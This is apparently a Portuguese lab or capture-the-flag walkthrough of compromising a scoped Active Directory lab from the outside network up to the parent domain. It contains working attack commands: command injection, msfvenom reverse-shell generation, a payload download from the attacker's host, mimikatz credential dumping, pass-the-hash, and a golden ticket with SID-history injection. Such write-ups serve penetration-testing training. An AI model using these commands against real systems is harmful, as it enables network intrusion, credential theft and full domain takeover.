your_img

Escopo Link to heading

Intervalo de IP externo: 192.168.80.0/24 [192.168.80.1 está fora do escopo] Intervalo de IP interno: 192.168.98.0/24 [192.168.98.1 está fora do escopo]

Acesso Inicial Link to heading

Verificar os hosts disponíveis na rede com a ferramenta nmap

nmap -sn 192.168.80.0/24

your_img

Encontramos um host disponível, vamos scannea-lo

nmap -sC -sV --disable-arp-ping -Pn 192.168.80.10

your_img

Notamos que existe uma porta 80, vamos visitar o website your_img

Podemos ver o link de inscrição, vamos tentar registrar a nova conta e ver se funciona ou não your_img

Nós nos inscrevemos com uma password de usuário aleatório e se fizermos login com usuário e senha, conseguimos entrar no painel. Então interceptamos parte do tráfego do site e um campo interessante que encontramos foi o campo de e-mail do boletim informativo. Encontramos execução de comando no campo de e-mail. Vamos tentar despejar arquivos críticos como passwd etc.

your_img

Econtramos credenciais, vamos tentar um acesso ssh

your_img

Enumeração Link to heading

Enumerar a máquina dá poucas pistas para seguir em frente. Vimos que esta máquina tem outro adaptador também conectado em redes diferentes your_img

Encontramos algumas credenciais interessantes no banco de dados de favoritos do Mozilla. your_img

Após encontrarmos algumas credenciais, vamos scannear os hosts de outra rede para tentarmos um pivoting

for i in {1..200} ;do (ping -c 1 192.168.98.$i | grep "bytes from" &) ;done

your_img

Pivoting Link to heading

Para pivoting decidi usar o sshuttle porque não exige a necessidade de configurar proxychains. No entanto, essa ferramenta só funciona para pivotar sobre SSH e não fornece outras opções para pivotar sobre servidores proxy TOR ou HTTPS.Um uso interessante do sshuttle é que não precisamos usar proxychains para conectar aos hosts remotos

sudo sshuttle -r privilege@192.168.80.10 192.168.98.15/24 -v

your_img

Acesso Inicial Link to heading

Temos as credenciais para o domínio filho. Vamos tentar essa credencial na máquina 192.168.98.30

/usr/share/doc/python3-impacket/examples/psexec.py 'child/john:User1@#$%6@192.168.98.30'

your_img

Agora estamos dentro da máquina interna com o PSExec. Precisamos fazer mais enumerações para identificar informações mais críticas na máquina, bem como no domínio. O shell que obtivemos do psexec é bem lento, então geraremos um shell reverso usando msfvenom e usaremos esse shell para conectar de volta.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.200.x LPORT=1337 -f exe -o payload.exe

Após gerar o binário para o shell reverso, usamos o iptables para permitir conexões externas nas portas 80 e 1337

sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

Iniciar um servidor web em python para transferirmos o binário

sudo python3 -m http.server 80

Fazer o download do binário no windows

powershell -ep bypass
iwr http://10.10.200.x/payload.exe -OutFile C:\Users\john\Downloads\payload.exe

your_img

Conseguimos um shell reverso com o meterpreter

your_img

Vamos fazer o upload do mimikatz a partir do meterpreter para um dump de memória e descobrir hashs

upload mimikatz.exe

Executamos o mimikatz para o dump de LSASS

privilege::debug
sekurlsa::logonpasswords

Depois de executar o mimikatz, encontramos outro usuário interessante: your_img

Executando o crackmapexec em um domínio diferente com credenciais recuperadas, descobrimos que ele tem acesso de compartilhamento smb no controlador de domínio filho your_img

Movimento Lateral Link to heading

Descobrimos que o corpmngr é o localadmin no domínio em algum lugar, provavelmente no controlador de domínio filho. Usaremos o hash do corpmngr e executaremos o psexec para mover lateralmente no controlador de domínio filho

/usr/bin/impacket-psexec 'child/corpmngr@192.168.98.120' -hashes :4cb3933610b827a281ec479031128cc6 

Ataque de injeção de histórico SID Link to heading

Uma maneira de encontrar o SID de um grupo de outro domínio (por exemplo, “Administradores de Domínio”) é com o PowerView

 ..\PowerView.ps1
 Get-DomainGroup -Identity "Domain Admins" -Domain child.warfare.corp -Properties ObjectSid

your_img

Obtendo o SID do domínio pai warfare.corp your_img

Golden Ticket (Mimikatz) com KRBTGT-AES256

.\mimikatz.exe "kerberos::golden /user:Administrator /domain:child.warfare.corp /sid:S-1-5-21-2230830845-3670107699-1251797681 /sids:S-1-5-21-327841210-68185034-2439807140-512 /aes256:211fe9541bf5f0086d0bd86ce1c18bc926f50b1c8712da77f8eb0abe231f52b1 /startoffset:-5 /endin:600 /renewmax:10080 /ptt" "exit

your_img

Podemos acessar o controlador de domínio pai por meio do seguinte comando:

cd \\dc01.warfare.corp\c$

your_img

Após criar e injetar um Golden Ticket com ferramentas como o Mimikatz, basicamente obtemos controle sobre o domínio alvo. Este acesso privilegiado pode ser usado para uma série de atividades. Aqui estão algumas possibilidades (sempre lembrando que o uso deve ser autorizado, como parte de auditorias ou testes de segurança)

  • Criar, modificar ou excluir contas no Active Directory.
  • Resetar senhas de qualquer usuário, incluindo administradores.
  • Adicionar-se a grupos privilegiados, como “Domain Admins” ou “Enterprise Admins”.